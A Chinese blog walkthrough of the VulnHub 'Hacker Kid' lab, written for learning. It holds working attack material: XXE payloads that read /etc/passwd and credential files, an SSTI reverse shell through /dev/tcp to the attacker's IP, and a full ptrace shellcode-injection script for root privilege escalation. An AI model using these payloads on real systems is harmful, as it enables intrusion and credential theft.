vulnhub-Hacker_Kid-v1.0.1

发布时间 2023-09-26 23:38:32作者: 介怀

打点

arp-scan -l

image-20230404185708639

nmap -p- 192.168.56.10

image

信息搜集

访问一下web网页(80端口)

image-20230404190146000

image-20230404190210635

尝试使用page_no=1进行测试,发现页面提示我,深入一点是不对的,需要我们深入尝试更多的数字

http://192.168.56.10?page_no=1

发现21的回显长度不太一样

http://192.168.56.10?page_no=21

进去看看

image-20230405193205542

我们在hosts中添加一条解析记录,将hackers.blackhat.local解析到192.168.2.174这个地址

192.168.56.10 hackers.blackhat.local

image-20230405193702947

DNS区域传输-AXFR
DNS区域传送(DNS zone transfer)指的是一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库。这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主的域名服务器因意外故障变得不可用时影响到整个域名的解析。一般来说,DNS区域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有客户端发出请求,就会向对方提供一个zone数据库的详细信息,所以说允许不受信任的客户端执行DNS区域传送(zone transfer)操作是后果最为严重的错误配置之一。

区域传送漏洞的危害:黑客可以快速的判定出某个特定zone的所有主机,收集域信息,选择攻击目标,找出未使用的IP地址,黑客可以绕过基于网络的访问控制。

4.1 在这里使用DNS协议的axfr,客户端请求将blackhat.local 的整个区域全部记录进行传送,在这里我们拿到了多个域名信息

dig axfr @192.168.56.10  blackhat.local
dig axfr @192.168.56.10  blackhat.local

; <<>> DiG 9.18.12-1-Debian <<>> axfr @192.168.56.10 blackhat.local
; (1 server found)
;; global options: +cmd
blackhat.local.         10800   IN      SOA     blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600
blackhat.local.         10800   IN      NS      ns1.blackhat.local.
blackhat.local.         10800   IN      MX      10 mail.blackhat.local.
blackhat.local.         10800   IN      A       192.168.14.143
ftp.blackhat.local.     10800   IN      CNAME   blackhat.local.
hacker.blackhat.local.  10800   IN      CNAME   hacker.blackhat.local.blackhat.local.
mail.blackhat.local.    10800   IN      A       192.168.14.143
ns1.blackhat.local.     10800   IN      A       192.168.14.143
ns2.blackhat.local.     10800   IN      A       192.168.14.143
www.blackhat.local.     10800   IN      CNAME   blackhat.local.
blackhat.local.         10800   IN      SOA     blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600
;; Query time: 0 msec
;; SERVER: 192.168.56.10#53(192.168.56.10) (TCP)
;; WHEN: Wed Apr 05 07:39:28 EDT 2023
;; XFR size: 11 records (messages 1, bytes 353)

image-20230405194045373

192.168.56.10    hackerkid.blackhat.local. 
192.168.56.10    blackhat.local.         
192.168.56.10    blackhat.local.         
192.168.56.10    blackhat.local.      
192.168.56.10    blackhat.local.       
192.168.56.10    hacker.blackhat.local. 
192.168.56.10    mail.blackhat.local.  
192.168.56.10    ns1.blackhat.local.     
192.168.56.10    ns2.blackhat.local.    
192.168.56.10    www.blackhat.local.     
192.168.56.10    blackhat.local.        
192.168.56.10    hackerkid.blackhat.local. 
192.168.56.10

image-20230405195637524

将我们找到的域名全部添加至hosts文件,在这里我发现一个可疑站点,站点允许我们创建一个账户,但是邮箱处一直报错,邮箱不可用

http://hackerkid.blackhat.local.

image-20230405200443206

XXE注入攻击

通过输入和返回值的分析,初步怀疑存在一个XML外部实体注入漏洞

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。
XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

image-20230405201505082

抓包尝试xxe注入

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
<name>
123
</name>
<tel>
123
</tel>
<email>
&xxe;
</email>
<password>
123
</password>
</root>

image-20230405201836834

尝试读取.bashrc文件,bashrc 配置文件可以对命令进行自定义,在这里我们直接读取是报错的,使用php的base64过滤器进行编码并读取信息

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
 
<root>
<name>
123
</name>
<tel>
123
</tel>
<email>
&xxe;
</email>
<password>
123
</password>
</root>

image-20230405202008121

使用Decoder功能对Base64进行解码,在解码后内容中发现一个账密信息

image-20230405202700642

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

拿到账密以后,通过前期信息收集,只发现9999端口上存在登陆页面,使用账密进行登录发现失败

image-20230405202847252

观察这个账密,密码当中有个关键词Saket,在前面我们读取/etc/passwd中,saket账户是这个系统中除root外唯一能够有/bin/bash的权限,我们尝试使用saket进行登录,密码不变,成功登陆!

username="saket"
password="Saket!#$%@!!"

image-20230405203008706

SSTI模板注入

在成功登陆后,系统提示告诉它我的名字,我怎么才能知道你是谁

在这里尝试一下用name变量进行测试,页面成功输出

image-20230405203115582

在前面进行信息收集时,我们已经知道9999端口对应的服务是Tornado,这是一个Python的Web服务框架,这个框架是可能存在SSTI模板注入的,我们先拿payload尝试一下。首先第一个payload成功执行,输出了一个49的值,第二个payload是一个模板注入通用payload,页面报错说明存在模板注入漏洞

${7*7},{{7*7}}   
{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]   //SSTI通用测试payload

image-20230405203223240

image-20230405203319127

既然存在模板注入漏洞,那就可以进行反弹shell的操作,首先在kali上监听端口,并将python反弹shell语句使用encodeURIComponent进行编码

编码前:{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.56.6/4444 0>&1"')}}
 
编码后:%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%26%3E%20%2Fdev%2Ftcp%2F192.168.56.6%2F4444%200%3E%261%22')%7D%7D

Hint:记得改为自己的IP后再编码

image-20230405205120066

Capabilitie提权

Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。 这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。 如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。

6.1 使用如下命令发现具有Capabilities特殊操作权限的程序

/usr/sbin/getcap -r / 2>/dev/null    # -r 递归查询

image-20230405205619606

通过上图我们发现python具备cap_sys_ptrace+ep 能力,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口。

在kali上编辑以下代码,并起名为inject.py,打开http服务,并利用靶机进行下载

kali:python3 -m http.server 80

靶机:wget http://192.168.56.6/inject.py

inject.py

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 
 
import ctypes
import sys
import struct
 
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
 
PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17
 
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
 
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]
 
libc = ctypes.CDLL("libc.so.6")
 
pid=int(sys.argv[1])
 
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
 
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
 
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
 
print("Instruction Pointer: " + hex(registers.rip))
 
print("Injecting Shellcode at: " + hex(registers.rip))
 
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
 
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
 
print("Shellcode Injected!!")
 
# Modify the instuction pointer
registers.rip=registers.rip+2
 
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
 
print("Final Instruction Pointer: " + hex(registers.rip))
 
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

image-20230405205600280

进入tmp目录中,下载exp

image-20230405205811803

这个脚本需要注入到root权限的进程才能使用

ps -aef | grep root   查看root权限进程
 
python2.7 inject.py xxx   代表root进程

因需要root进程进行注入,编写脚本对root进程批量尝试


for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

脚本使用的是5600端口,注入后查看5600端口是否打开

image-20230405211827538

端口打开了,那我们使用nc去连接靶机的5600端口就行

ss -pantu | grep 5600

image-20230405212045171

拿到了root权限

nc 192.168.56.10 5600

image-20230405212220652

查看端口占用的命令还有:

netstat -anp | grep 5600

最后通过此命令还能看出靶机被连接地址。

image-20230405212243083

关于python Capabilities cap_sys_ptrace+ep提权可以参考的外网资料:https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc

总结

在这台靶机的渗透过程中,用到了一些我不怎么熟悉的攻击手法,例如DNS区域传输漏洞,XXE注入漏洞,SSTI模板注入漏洞,Capabilities提权等,但是通过对这台靶机的渗透,我加深了对xxe漏洞和SSTI模板注入漏洞的理解,同时我还是学到了一些新的知识,例如DNS区域传输漏洞,总的来说算是收获颇丰。